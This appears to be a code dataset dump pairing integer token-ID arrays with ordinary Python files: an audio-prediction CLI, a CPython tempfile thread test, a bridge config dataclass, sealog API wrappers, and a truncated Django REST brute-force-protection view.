29922,
8516,
29892,
13,
4706,
302,
5085,
2433,
29974,
742,
13,
4706,
1371,
543,
10299,
1598,
607,
23530,
29898,
29879,
29897,
304,
367,
28585,
29889,
25186,
526,
13218,
26065,
5931,
322,
13218,
29880,
333,
279,
5931,
1213,
13,
1678,
1723,
13,
13,
1678,
13812,
29889,
1202,
29918,
23516,
29898,
13,
4706,
376,
489,
11294,
292,
613,
3158,
543,
8899,
29918,
3009,
613,
1371,
543,
3644,
5852,
2254,
23110,
27303,
29914,
21134,
1213,
13,
1678,
1723,
13,
13,
1678,
13812,
29889,
1202,
29918,
23516,
29898,
13,
4706,
376,
489,
11762,
29918,
4841,
613,
13,
4706,
1134,
29922,
524,
29892,
13,
4706,
2322,
29922,
8516,
29892,
13,
4706,
302,
5085,
2433,
29974,
742,
13,
4706,
1371,
543,
6194,
671,
278,
5665,
18999,
29889,
313,
4381,
29901,
6213,
313,
497,
876,
29908,
13,
1678,
1723,
13,
13,
1678,
13812,
29889,
1202,
29918,
23516,
29898,
13,
4706,
11663,
29893,
613,
13,
4706,
376,
489,
1287,
414,
613,
13,
4706,
1134,
29922,
524,
29892,
13,
4706,
2322,
29922,
29900,
29892,
13,
4706,
1371,
543,
8009,
29889,
310,
17162,
363,
7604,
2133,
29889,
29871,
29900,
2794,
694,
1773,
389,
19715,
29889,
27819,
4464,
871,
1736,
281,
29914,
29877,
1773,
389,
19715,
3850,
13,
1678,
1723,
13,
13,
1678,
6389,
353,
13812,
29889,
5510,
29918,
5085,
580,
13,
1678,
565,
6389,
29889,
4294,
29918,
11965,
29879,
29901,
13,
4706,
4974,
2897,
29889,
2084,
29889,
9933,
29898,
5085,
29889,
11965,
29918,
3972,
29897,
13,
13,
1678,
565,
6389,
29889,
1730,
29901,
13,
4706,
1998,
353,
9249,
3950,
29898,
5085,
29897,
13,
4706,
1998,
29889,
3389,
580,
13,
13,
1678,
565,
6389,
29889,
1885,
29918,
19488,
29901,
13,
4706,
10809,
29918,
517,
29918,
29880,
333,
279,
29918,
4830,
29898,
5085,
29889,
3972,
29892,
6389,
29897,
13,
2
] |
parse_file.py | agp96/-Music-Mood-Classification-Audioset-2 | 0 | 121887 | <gh_stars>0
# Copyright (C) 2017 DataArt
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import argparse
import numpy as np
import tensorflow as tf
from tensorflow import flags
from scipy.io import wavfile
parser = argparse.ArgumentParser(description='Read file and process audio')
parser.add_argument('wav_file', type=str, help='File to read and process.')
parser.add_argument('--class_labels', type=str, default='276,277,278,279,280,281,282', help='Class labels to predict.')
parser.add_argument('--to_csv', type=bool, default=False, metavar='CSV', help='Predictions to csv file.')
parser.add_argument('--num_files', type=int, default=0, help='The number of files to predict.')
parser.add_argument('--output_file', type=str, default='predictions.csv', help='The file to save the predictions to.')
parser.add_argument('--ten_seconds', type=bool, default=False, metavar='LIMIT_SECONDS', help='A label for each 10 seconds of the wav.')
parser.add_argument('--num_predictions', type=int, default=7, metavar='PREDICTIONS', help='Number of predictions.')
parser.add_argument('--threshold', type=float, default=0.1, metavar='THRESHOLD', help='Threshold to discard tags.')
def process_file(wav_file, class_labels, to_csv, num_files, output_file, ten_seconds, num_predictions, threshold):
print(wav_file)
files = tf.io.gfile.glob(wav_file)
total_predictions = []
examples = []
print('Number of predictions ' + str(num_predictions))
print('Threshold ' + str(threshold))
if not files:
raise IOError("Unable to find input files. data_pattern='" +wav_file + "'")
if num_files == 0:
num_files = len(files)
for i in range(0,num_files):
if not files[i]:
i = i+1
sr, data = wavfile.read(files[i])
if data.dtype != np.int16:
raise TypeError('Bad sample type: %r' % data.dtype)
print(i)
print(files[i])
# local import to reduce start-up time
from audio.processor import WavProcessor, format_predictions
with WavProcessor() as proc:
if ten_seconds == False:
predictions = proc.get_predictions(wav_file, sr, data, num_predictions, threshold, class_labels)
print('Predictions')
print(format_predictions(predictions))
if to_csv == True:
examples.append(int(len(data) / 44100))
total_predictions.append(predictions)
else:
predictions = proc.get_predictions2(sr, data, num_predictions, threshold, class_labels)
print('Predictions')
for i in range(0, len(predictions)):
print(str(i)+' '+format_predictions(predictions[i]))
if to_csv == True:
examples.append(int(len(data) / 44100))
total_predictions.append(predictions)
if to_csv == True:
from audio.processor import WavProcessor, format_predictions
with WavProcessor() as proc:
if ten_seconds == False:
proc.toCSV(examples, wav_file, num_files, output_file, total_predictions)
else:
proc.toCSV2(examples, wav_file, num_files, output_file, total_predictions)
if __name__ == '__main__':
args = parser.parse_args()
process_file(**vars(args))
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
29937,
14187,
1266,
313,
29907,
29897,
29871,
29906,
29900,
29896,
29955,
3630,
9986,
13,
29937,
13,
29937,
10413,
21144,
1090,
278,
13380,
19245,
29892,
10079,
29871,
29906,
29889,
29900,
313,
1552,
376,
29931,
293,
1947,
1496,
13,
29937,
366,
1122,
451,
671,
445,
934,
5174,
297,
752,
13036,
411,
278,
19245,
29889,
13,
29937,
887,
1122,
4017,
263,
3509,
310,
278,
19245,
472,
13,
29937,
13,
29937,
268,
1732,
597,
1636,
29889,
4288,
29889,
990,
29914,
506,
11259,
29914,
27888,
1430,
1660,
29899,
29906,
29889,
29900,
13,
29937,
13,
29937,
25870,
3734,
491,
22903,
4307,
470,
15502,
304,
297,
5007,
29892,
7047,
13,
29937,
13235,
1090,
278,
19245,
338,
13235,
373,
385,
376,
3289,
8519,
29908,
350,
3289,
3235,
29892,
13,
29937,
399,
1806,
8187,
2692,
399,
1718,
29934,
13566,
29059,
6323,
8707,
29928,
22122,
29903,
8079,
13764,
29979,
476,
22255,
29892,
2845,
4653,
470,
2411,
2957,
29889,
13,
29937,
2823,
278,
19245,
363,
278,
2702,
4086,
14765,
1076,
11239,
322,
13,
29937,
27028,
1090,
278,
19245,
29889,
13,
13,
5215,
1852,
5510,
13,
5215,
12655,
408,
7442,
13,
5215,
26110,
408,
15886,
13,
3166,
26110,
1053,
13449,
13,
3166,
4560,
2272,
29889,
601,
1053,
281,
485,
1445,
13,
259,
13,
16680,
353,
1852,
5510,
29889,
15730,
11726,
29898,
8216,
2433,
6359,
934,
322,
1889,
10348,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
29893,
485,
29918,
1445,
742,
1134,
29922,
710,
29892,
1371,
2433,
2283,
304,
1303,
322,
1889,
29889,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
1990,
29918,
21134,
742,
1134,
29922,
710,
29892,
2322,
2433,
29906,
29955,
29953,
29892,
29906,
29955,
29955,
29892,
29906,
29955,
29947,
29892,
29906,
29955,
29929,
29892,
29906,
29947,
29900,
29892,
29906,
29947,
29896,
29892,
29906,
29947,
29906,
742,
1371,
2433,
2385,
11073,
304,
8500,
29889,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
517,
29918,
7638,
742,
1134,
29922,
11227,
29892,
2322,
29922,
8824,
29892,
1539,
485,
279,
2433,
29907,
7597,
742,
1371,
2433,
23084,
919,
1080,
304,
11799,
934,
29889,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
1949,
29918,
5325,
742,
1134,
29922,
524,
29892,
2322,
29922,
29900,
29892,
1371,
2433,
1576,
1353,
310,
2066,
304,
8500,
29889,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
4905,
29918,
1445,
742,
1134,
29922,
710,
29892,
2322,
2433,
27711,
1080,
29889,
7638,
742,
1371,
2433,
1576,
934,
304,
4078,
278,
27303,
304,
29889,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
841,
29918,
23128,
742,
1134,
29922,
11227,
29892,
2322,
29922,
8824,
29892,
1539,
485,
279,
2433,
5265,
26349,
29918,
1660,
6007,
8452,
742,
1371,
2433,
29909,
3858,
363,
1269,
29871,
29896,
29900,
6923,
310,
278,
281,
485,
29889,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
1949,
29918,
27711,
1080,
742,
1134,
29922,
524,
29892,
2322,
29922,
29955,
29892,
1539,
485,
279,
2433,
15094,
4571,
9838,
29903,
742,
1371,
2433,
4557,
310,
27303,
29889,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
386,
12268,
742,
1134,
29922,
7411,
29892,
2322,
29922,
29900,
29889,
29896,
29892,
1539,
485,
279,
2433,
4690,
1525,
7068,
5607,
29928,
742,
1371,
2433,
1349,
12268,
304,
2313,
538,
8282,
29889,
1495,
13,
13,
13,
1753,
1889,
29918,
1445,
29898,
29893,
485,
29918,
1445,
29892,
770,
29918,
21134,
29892,
304,
29918,
7638,
29892,
954,
29918,
5325,
29892,
1962,
29918,
1445,
29892,
3006,
29918,
23128,
29892,
954,
29918,
27711,
1080,
29892,
16897,
1125,
13,
1678,
1596,
29898,
29893,
485,
29918,
1445,
29897,
13,
1678,
2066,
353,
15886,
29889,
601,
29889,
29887,
1445,
29889,
23705,
29898,
29893,
485,
29918,
1445,
29897,
13,
1678,
3001,
29918,
27711,
1080,
353,
5159,
13,
1678,
6455,
353,
5159,
13,
1678,
1596,
877,
4557,
310,
27303,
525,
718,
851,
29898,
1949,
29918,
27711,
1080,
876,
13,
1678,
1596,
877,
1349,
12268,
525,
718,
851,
29898,
386,
12268,
876,
13,
1678,
565,
451,
2066,
29901,
13,
4706,
12020,
10663,
2392,
703,
2525,
519,
304,
1284,
1881,
2066,
29889,
848,
29918,
11037,
2433,
29908,
718,
29893,
485,
29918,
1445,
718,
13577,
1159,
13,
1678,
565,
954,
29918,
5325,
1275,
29871,
29900,
29901,
13,
4706,
954,
29918,
5325,
353,
7431,
29898,
5325,
29897,
13,
1678,
363,
474,
297,
3464,
29898,
29900,
29892,
1949,
29918,
5325,
1125,
13,
4706,
565,
451,
2066,
29961,
29875,
5387,
13,
3986,
474,
353,
474,
29974,
29896,
13,
4706,
27236,
29892,
848,
353,
281,
485,
1445,
29889,
949,
29898,
5325,
29961,
29875,
2314,
13,
4706,
565,
848,
29889,
29881,
1853,
2804,
7442,
29889,
524,
29896,
29953,
29901,
13,
3986,
12020,
20948,
877,
22050,
4559,
1134,
29901,
1273,
29878,
29915,
1273,
848,
29889,
29881,
1853,
29897,
13,
13,
4706,
1596,
29898,
29875,
29897,
13,
4706,
1596,
29898,
5325,
29961,
29875,
2314,
13,
12,
12,
13,
4706,
396,
1887,
1053,
304,
10032,
1369,
29899,
786,
931,
13,
4706,
515,
10348,
29889,
26482,
1053,
399,
485,
18689,
29892,
3402,
29918,
27711,
1080,
13,
13,
4706,
411,
399,
485,
18689,
580,
408,
9580,
29901,
13,
3986,
565,
3006,
29918,
23128,
1275,
7700,
29901,
13,
9651,
27303,
353,
9580,
29889,
657,
29918,
27711,
1080,
29898,
29893,
485,
29918,
1445,
29892,
27236,
29892,
848,
29892,
954,
29918,
27711,
1080,
29892,
16897,
29892,
770,
29918,
21134,
29897,
13,
9651,
1596,
877,
23084,
919,
1080,
1495,
13,
9651,
1596,
29898,
4830,
29918,
27711,
1080,
29898,
27711,
1080,
876,
13,
9651,
565,
304,
29918,
7638,
1275,
5852,
29901,
13,
795,
6455,
29889,
4397,
29898,
524,
29898,
2435,
29898,
1272,
29897,
847,
29871,
29946,
29946,
29896,
29900,
29900,
876,
13,
795,
3001,
29918,
27711,
1080,
29889,
4397,
29898,
27711,
1080,
29897,
13,
965,
13,
12,
12,
12,
13,
3986,
1683,
29901,
13,
9651,
27303,
353,
9580,
29889,
657,
29918,
27711,
1080,
29906,
29898,
21935,
29892,
848,
29892,
954,
29918,
27711,
1080,
29892,
16897,
29892,
770,
29918,
21134,
29897,
13,
9651,
1596,
877,
23084,
919,
1080,
1495,
13,
9651,
363,
474,
297,
3464,
29898,
29900,
29892,
7431,
29898,
27711,
1080,
22164,
13,
795,
1596,
29898,
710,
29898,
29875,
7240,
29915,
525,
29974,
4830,
29918,
27711,
1080,
29898,
27711,
1080,
29961,
29875,
12622,
13,
9651,
565,
304,
29918,
7638,
1275,
5852,
29901,
13,
795,
6455,
29889,
4397,
29898,
524,
29898,
2435,
29898,
1272,
29897,
847,
29871,
29946,
29946,
29896,
29900,
29900,
876,
13,
795,
3001,
29918,
27711,
1080,
29889,
4397,
29898,
27711,
1080,
29897,
13,
12,
12,
12,
259,
13,
268,
13,
1678,
565,
304,
29918,
7638,
1275,
5852,
29901,
13,
4706,
515,
10348,
29889,
26482,
1053,
399,
485,
18689,
29892,
3402,
29918,
27711,
1080,
13,
4706,
411,
399,
485,
18689,
580,
408,
9580,
29901,
13,
3986,
565,
3006,
29918,
23128,
1275,
7700,
29901,
13,
9651,
9580,
29889,
517,
29907,
7597,
29898,
19057,
29892,
281,
485,
29918,
1445,
29892,
954,
29918,
5325,
29892,
1962,
29918,
1445,
29892,
3001,
29918,
27711,
1080,
29897,
13,
3986,
1683,
29901,
13,
9651,
9580,
29889,
517,
29907,
7597,
29906,
29898,
19057,
29892,
281,
485,
29918,
1445,
29892,
954,
29918,
5325,
29892,
1962,
29918,
1445,
29892,
3001,
29918,
27711,
1080,
29897,
13,
632,
13,
13,
268,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
6389,
353,
13812,
29889,
5510,
29918,
5085,
580,
13,
1678,
1889,
29918,
1445,
29898,
1068,
16908,
29898,
5085,
876,
13,
2
] |
toolchain/riscv/MSYS/python/Lib/test/test_threadedtempfile.py | zhiqiang-hu/bl_iot_sdk | 207 | 195979 | <reponame>zhiqiang-hu/bl_iot_sdk
"""
Create and delete FILES_PER_THREAD temp files (via tempfile.TemporaryFile)
in each of NUM_THREADS threads, recording the number of successes and
failures. A failure is a bug in tempfile, and may be due to:
+ Trying to create more than one tempfile with the same name.
+ Trying to delete a tempfile that doesn't still exist.
+ Something we've never seen before.
By default, NUM_THREADS == 20 and FILES_PER_THREAD == 50. This is enough to
create about 150 failures per run under Win98SE in 2.0, and runs pretty
quickly. Guido reports needing to boost FILES_PER_THREAD to 500 before
provoking a 2.0 failure under Linux.
"""
NUM_THREADS = 20
FILES_PER_THREAD = 50
import tempfile
from test.support import start_threads, import_module
import unittest
import io
import threading
from traceback import print_exc
startEvent = threading.Event()
class TempFileGreedy(threading.Thread):
error_count = 0
ok_count = 0
def run(self):
self.errors = io.StringIO()
startEvent.wait()
for i in range(FILES_PER_THREAD):
try:
f = tempfile.TemporaryFile("w+b")
f.close()
except:
self.error_count += 1
print_exc(file=self.errors)
else:
self.ok_count += 1
class ThreadedTempFileTest(unittest.TestCase):
def test_main(self):
threads = [TempFileGreedy() for i in range(NUM_THREADS)]
with start_threads(threads, startEvent.set):
pass
ok = sum(t.ok_count for t in threads)
errors = [str(t.name) + str(t.errors.getvalue())
for t in threads if t.error_count]
msg = "Errors: errors %d ok %d\n%s" % (len(errors), ok,
'\n'.join(errors))
self.assertEqual(errors, [], msg)
self.assertEqual(ok, NUM_THREADS * FILES_PER_THREAD)
if __name__ == "__main__":
unittest.main()
| [
1,
529,
276,
1112,
420,
29958,
29920,
2918,
26461,
574,
29899,
6905,
29914,
2204,
29918,
24414,
29918,
15348,
13,
15945,
19451,
13,
4391,
322,
5217,
9338,
17101,
29918,
13171,
29918,
4690,
16310,
5694,
2066,
313,
6071,
5694,
1445,
29889,
5776,
1971,
653,
2283,
8443,
13,
262,
1269,
310,
28019,
29918,
4690,
16310,
29903,
9717,
29892,
16867,
278,
1353,
310,
2551,
267,
322,
30004,
13,
14057,
1973,
29889,
29871,
319,
10672,
338,
263,
6494,
297,
5694,
1445,
29892,
322,
1122,
367,
2861,
304,
29901,
30004,
13,
30004,
13,
29974,
24428,
304,
1653,
901,
1135,
697,
5694,
1445,
411,
278,
1021,
1024,
22993,
13,
29974,
24428,
304,
5217,
263,
5694,
1445,
393,
1838,
29915,
29873,
1603,
1863,
22993,
13,
29974,
12538,
591,
29915,
345,
2360,
3595,
1434,
22993,
13,
30004,
13,
2059,
2322,
29892,
28019,
29918,
4690,
16310,
29903,
1275,
29871,
29906,
29900,
322,
9338,
17101,
29918,
13171,
29918,
4690,
16310,
1275,
29871,
29945,
29900,
29889,
29871,
910,
338,
3307,
304,
30004,
13,
3258,
1048,
29871,
29896,
29945,
29900,
4418,
1973,
639,
1065,
1090,
8892,
29929,
29947,
1660,
297,
29871,
29906,
29889,
29900,
29892,
322,
6057,
5051,
30004,
13,
24561,
368,
29889,
2088,
1941,
13676,
817,
292,
304,
14505,
9338,
17101,
29918,
13171,
29918,
4690,
16310,
304,
29871,
29945,
29900,
29900,
1434,
30004,
13,
16123,
17223,
263,
29871,
29906,
29889,
29900,
10672,
1090,
8074,
22993,
13,
15945,
19451,
13,
30004,
13,
13967,
29918,
4690,
16310,
29903,
353,
29871,
29906,
29900,
30004,
13,
24483,
29918,
13171,
29918,
4690,
16310,
353,
29871,
29945,
29900,
30004,
13,
30004,
13,
5215,
5694,
1445,
30004,
13,
30004,
13,
3166,
1243,
29889,
5924,
1053,
1369,
29918,
28993,
29892,
1053,
29918,
5453,
30004,
13,
5215,
443,
27958,
30004,
13,
5215,
12013,
30004,
13,
5215,
3244,
292,
30004,
13,
3166,
9637,
1627,
1053,
1596,
29918,
735,
29883,
30004,
13,
30004,
13,
2962,
2624,
353,
3244,
292,
29889,
2624,
26471,
13,
30004,
13,
1990,
21121,
2283,
25120,
7584,
29898,
7097,
292,
29889,
4899,
1125,
30004,
13,
1678,
1059,
29918,
2798,
353,
29871,
29900,
30004,
13,
1678,
3431,
29918,
2798,
353,
29871,
29900,
30004,
13,
30004,
13,
1678,
822,
1065,
29898,
1311,
1125,
30004,
13,
4706,
1583,
29889,
12523,
353,
12013,
29889,
1231,
5971,
26471,
13,
4706,
1369,
2624,
29889,
10685,
26471,
13,
4706,
363,
474,
297,
3464,
29898,
24483,
29918,
13171,
29918,
4690,
16310,
1125,
30004,
13,
9651,
1018,
29901,
30004,
13,
18884,
285,
353,
5694,
1445,
29889,
5776,
1971,
653,
2283,
703,
29893,
29974,
29890,
1159,
30004,
13,
18884,
285,
29889,
5358,
26471,
13,
9651,
5174,
29901,
30004,
13,
18884,
1583,
29889,
2704,
29918,
2798,
4619,
29871,
29896,
30004,
13,
18884,
1596,
29918,
735,
29883,
29898,
1445,
29922,
1311,
29889,
12523,
8443,
13,
9651,
1683,
29901,
30004,
13,
18884,
1583,
29889,
554,
29918,
2798,
4619,
29871,
29896,
30004,
13,
30004,
13,
30004,
13,
1990,
10480,
287,
15637,
2283,
3057,
29898,
348,
27958,
29889,
3057,
8259,
1125,
30004,
13,
1678,
822,
1243,
29918,
3396,
29898,
1311,
1125,
30004,
13,
4706,
9717,
353,
518,
15637,
2283,
25120,
7584,
580,
363,
474,
297,
3464,
29898,
13967,
29918,
4690,
16310,
29903,
4638,
30004,
13,
4706,
411,
1369,
29918,
28993,
29898,
28993,
29892,
1369,
2624,
29889,
842,
1125,
30004,
13,
9651,
1209,
30004,
13,
4706,
3431,
353,
2533,
29898,
29873,
29889,
554,
29918,
2798,
363,
260,
297,
9717,
8443,
13,
4706,
4436,
353,
518,
710,
29898,
29873,
29889,
978,
29897,
718,
851,
29898,
29873,
29889,
12523,
29889,
657,
1767,
3101,
30004,
13,
462,
29871,
363,
260,
297,
9717,
565,
260,
29889,
2704,
29918,
2798,
29962,
30004,
13,
30004,
13,
4706,
10191,
353,
376,
22463,
29901,
4436,
1273,
29881,
3431,
1273,
29881,
29905,
29876,
29995,
29879,
29908,
1273,
313,
2435,
29898,
12523,
511,
3431,
11167,
13,
9651,
11297,
29876,
4286,
7122,
29898,
12523,
876,
30004,
13,
4706,
1583,
29889,
9294,
9843,
29898,
12523,
29892,
19997,
10191,
8443,
13,
4706,
1583,
29889,
9294,
9843,
29898,
554,
29892,
28019,
29918,
4690,
16310,
29903,
334,
9338,
17101,
29918,
13171,
29918,
4690,
16310,
8443,
13,
30004,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
30004,
13,
1678,
443,
27958,
29889,
3396,
26471,
13,
2
] |
beamer/config.py | beamer-bridge/beamer | 2 | 131010 | from dataclasses import dataclass
from pathlib import Path
from typing import Optional
from eth_account.signers.local import LocalAccount
from beamer.contracts import DeploymentInfo
from beamer.typing import URL
@dataclass
class Config:
account: LocalAccount
deployment_info: DeploymentInfo
l1_rpc_url: URL
l2a_rpc_url: URL
l2b_rpc_url: URL
token_match_file: Path
fill_wait_time: int
prometheus_metrics_port: Optional[int]
| [
1,
515,
848,
13203,
1053,
848,
1990,
13,
3166,
2224,
1982,
1053,
10802,
13,
3166,
19229,
1053,
28379,
13,
13,
3166,
11314,
29918,
10149,
29889,
4530,
414,
29889,
2997,
1053,
9959,
10601,
13,
13,
3166,
367,
4183,
29889,
1285,
1461,
29879,
1053,
10034,
22812,
3401,
13,
3166,
367,
4183,
29889,
1017,
15702,
1053,
3988,
13,
13,
13,
29992,
1272,
1990,
13,
1990,
12782,
29901,
13,
1678,
3633,
29901,
9959,
10601,
13,
1678,
18209,
29918,
3888,
29901,
10034,
22812,
3401,
13,
1678,
301,
29896,
29918,
29878,
6739,
29918,
2271,
29901,
3988,
13,
1678,
301,
29906,
29874,
29918,
29878,
6739,
29918,
2271,
29901,
3988,
13,
1678,
301,
29906,
29890,
29918,
29878,
6739,
29918,
2271,
29901,
3988,
13,
1678,
5993,
29918,
4352,
29918,
1445,
29901,
10802,
13,
1678,
5445,
29918,
10685,
29918,
2230,
29901,
938,
13,
1678,
2504,
23043,
375,
29918,
2527,
10817,
29918,
637,
29901,
28379,
29961,
524,
29962,
13,
2
] |
misc/python_sealog/event_aux_data.py | WHOIGit/ndsf-sealog-server | 4 | 62203 | #!/usr/bin/env python3
'''
FILE: event_aux_data.py
DESCRIPTION: This script contains the wrapper functions for the sealog-
server event_aux_data routes.
BUGS:
NOTES:
AUTHOR: <NAME>
COMPANY: OceanDataTools.org
VERSION: 0.1
CREATED: 2021-01-01
REVISION:
LICENSE INFO: This code is licensed under MIT license (see LICENSE.txt for details)
Copyright (C) OceanDataTools.org 2021
'''
import json
import logging
import requests
from .settings import API_SERVER_URL, HEADERS, EVENT_AUX_DATA_API_PATH
def get_event_aux_data_by_cruise(cruise_uid, datasource=None, api_server_url=API_SERVER_URL, headers=HEADERS):
'''
Return the aux_data records for the given cruise_uid and optional
datasource.
'''
try:
url = api_server_url + EVENT_AUX_DATA_API_PATH + '/bycruise/' + cruise_uid
if datasource is not None:
url += '&datasource=' + datasource
req = requests.get(url, headers=headers)
if req.status_code != 404:
event_aux_data = json.loads(req.text)
logging.debug(json.dumps(event_aux_data))
return event_aux_data
except Exception as error:
logging.debug(str(error))
raise error
return None
def get_event_aux_data_by_lowering(lowering_uid, datasource='', limit=0, api_server_url=API_SERVER_URL, headers=HEADERS):
'''
Return the aux_data records for the given lowering_uid and optional
datasource.
'''
try:
url = api_server_url + EVENT_AUX_DATA_API_PATH + '/bylowering/' + lowering_uid
querystring = []
if datasource != '':
querystring.append('datasource=' + datasource)
if limit > 0:
querystring.append('limit=' + str(limit))
if len(querystring) > 0:
url += '?' + '&'.join(querystring)
logging.info(url)
req = requests.get(url, headers=headers)
event_aux_data = json.loads(req.text)
logging.debug(json.dumps(event_aux_data))
return event_aux_data
except Exception as error:
logging.debug(str(error))
raise error
| [
1,
18787,
4855,
29914,
2109,
29914,
6272,
3017,
29941,
13,
12008,
13,
7724,
29901,
965,
1741,
29918,
2993,
29918,
1272,
29889,
2272,
13,
13,
2287,
7187,
24290,
2725,
29901,
1678,
910,
2471,
3743,
278,
14476,
3168,
363,
278,
409,
27330,
29899,
13,
18884,
1923,
1741,
29918,
2993,
29918,
1272,
12049,
29889,
13,
13,
7838,
10749,
29901,
13,
12256,
2890,
29901,
13,
20656,
29950,
1955,
29901,
268,
529,
5813,
29958,
13,
21514,
2190,
29979,
29901,
1678,
21091,
1469,
24183,
29889,
990,
13,
16358,
29901,
268,
29900,
29889,
29896,
13,
27045,
29928,
29901,
268,
29906,
29900,
29906,
29896,
29899,
29900,
29896,
29899,
29900,
29896,
13,
1525,
28607,
2725,
29901,
13,
13,
27888,
1430,
1660,
15233,
29901,
259,
910,
775,
338,
7794,
21144,
1090,
341,
1806,
19405,
313,
4149,
365,
2965,
1430,
1660,
29889,
3945,
363,
4902,
29897,
13,
18884,
14187,
1266,
313,
29907,
29897,
21091,
1469,
24183,
29889,
990,
29871,
29906,
29900,
29906,
29896,
13,
12008,
13,
13,
5215,
4390,
13,
5215,
12183,
13,
5215,
7274,
13,
13,
3166,
869,
11027,
1053,
3450,
29918,
18603,
29918,
4219,
29892,
17714,
3035,
23598,
29892,
382,
29963,
3919,
29918,
25951,
29990,
29918,
14573,
29918,
8787,
29918,
10145,
13,
13,
1753,
679,
29918,
3696,
29918,
2993,
29918,
1272,
29918,
1609,
29918,
29883,
582,
895,
29898,
29883,
582,
895,
29918,
5416,
29892,
6155,
1167,
29922,
8516,
29892,
7882,
29918,
2974,
29918,
2271,
29922,
8787,
29918,
18603,
29918,
4219,
29892,
9066,
29922,
23252,
23598,
1125,
13,
1678,
14550,
13,
1678,
7106,
278,
3479,
29918,
1272,
6475,
363,
278,
2183,
7618,
895,
29918,
5416,
322,
13136,
13,
1678,
6155,
1167,
29889,
13,
1678,
14550,
13,
13,
1678,
1018,
29901,
13,
4706,
3142,
353,
7882,
29918,
2974,
29918,
2271,
718,
382,
29963,
3919,
29918,
25951,
29990,
29918,
14573,
29918,
8787,
29918,
10145,
718,
8207,
1609,
29883,
582,
895,
22208,
718,
7618,
895,
29918,
5416,
13,
13,
4706,
565,
6155,
1167,
338,
451,
6213,
29901,
13,
9651,
3142,
4619,
525,
29987,
14538,
1167,
2433,
718,
6155,
1167,
13,
13,
4706,
12428,
353,
7274,
29889,
657,
29898,
2271,
29892,
9066,
29922,
13662,
29897,
13,
13,
4706,
565,
12428,
29889,
4882,
29918,
401,
2804,
29871,
29946,
29900,
29946,
29901,
13,
9651,
1741,
29918,
2993,
29918,
1272,
353,
4390,
29889,
18132,
29898,
7971,
29889,
726,
29897,
13,
9651,
12183,
29889,
8382,
29898,
3126,
29889,
29881,
17204,
29898,
3696,
29918,
2993,
29918,
1272,
876,
13,
9651,
736,
1741,
29918,
2993,
29918,
1272,
13,
13,
1678,
5174,
8960,
408,
1059,
29901,
13,
4706,
12183,
29889,
8382,
29898,
710,
29898,
2704,
876,
13,
4706,
12020,
1059,
13,
13,
1678,
736,
6213,
13,
13,
13,
1753,
679,
29918,
3696,
29918,
2993,
29918,
1272,
29918,
1609,
29918,
677,
3241,
29898,
677,
3241,
29918,
5416,
29892,
6155,
1167,
2433,
742,
4046,
29922,
29900,
29892,
7882,
29918,
2974,
29918,
2271,
29922,
8787,
29918,
18603,
29918,
4219,
29892,
9066,
29922,
23252,
23598,
1125,
13,
1678,
14550,
13,
1678,
7106,
278,
3479,
29918,
1272,
6475,
363,
278,
2183,
5224,
292,
29918,
5416,
322,
13136,
13,
1678,
6155,
1167,
29889,
13,
1678,
14550,
13,
13,
1678,
1018,
29901,
13,
4706,
3142,
353,
7882,
29918,
2974,
29918,
2271,
718,
382,
29963,
3919,
29918,
25951,
29990,
29918,
14573,
29918,
8787,
29918,
10145,
718,
8207,
1609,
677,
3241,
22208,
718,
5224,
292,
29918,
5416,
13,
13,
13,
4706,
2346,
1807,
353,
5159,
13,
13,
4706,
565,
6155,
1167,
2804,
525,
2396,
13,
9651,
2346,
1807,
29889,
4397,
877,
14538,
1167,
2433,
718,
6155,
1167,
29897,
13,
13,
4706,
565,
4046,
1405,
29871,
29900,
29901,
13,
9651,
2346,
1807,
29889,
4397,
877,
13400,
2433,
718,
851,
29898,
13400,
876,
13,
13,
4706,
565,
7431,
29898,
1972,
1807,
29897,
1405,
29871,
29900,
29901,
13,
9651,
3142,
4619,
525,
17901,
718,
525,
29987,
4286,
7122,
29898,
1972,
1807,
29897,
13,
13,
4706,
12183,
29889,
3888,
29898,
2271,
29897,
13,
13,
4706,
12428,
353,
7274,
29889,
657,
29898,
2271,
29892,
9066,
29922,
13662,
29897,
13,
13,
4706,
1741,
29918,
2993,
29918,
1272,
353,
4390,
29889,
18132,
29898,
7971,
29889,
726,
29897,
13,
4706,
12183,
29889,
8382,
29898,
3126,
29889,
29881,
17204,
29898,
3696,
29918,
2993,
29918,
1272,
876,
13,
4706,
736,
1741,
29918,
2993,
29918,
1272,
13,
13,
1678,
5174,
8960,
408,
1059,
29901,
13,
4706,
12183,
29889,
8382,
29898,
710,
29898,
2704,
876,
13,
4706,
12020,
1059,
13,
2
] |
rest_framework_security/brute_force_protection/views.py | RubenEu/django-rest-framework-security | 0 | 194858 | <reponame>RubenEu/django-rest-framework-security<filename>rest_framework_security/brute_force_protection/views.py<gh_stars>0
from functools import wraps
from rest_framework import generics, views
from rest_framework.exceptions import ValidationError, PermissionDenied
from rest_framework.response import Response
from rest_framework_security.brute_force_protection.exceptions import (
BruteForceProtectionException,
)
from rest_framework_security.brute_force_protection.protection import (
BruteForceProtection,
)
from rest_framework_security.brute_force_protection.serializers import (
CaptchaSerializer,
LoginProtectionSerializer,
)
from rest_framework_security.utils.ip import get_client_ip
def protect_api_request(only_on_error=False, increase_attempts=True, require_captcha_always=False):
def decorator(fn):
@wraps(fn)
def wrapped(self, request, *args, **kwargs):
brute_force_protection = BruteForceProtection(get_client_ip(request))
try:
brute_force_protection.validate(require_captcha_always=require_captcha_always)
except BruteForceProtectionException as e:
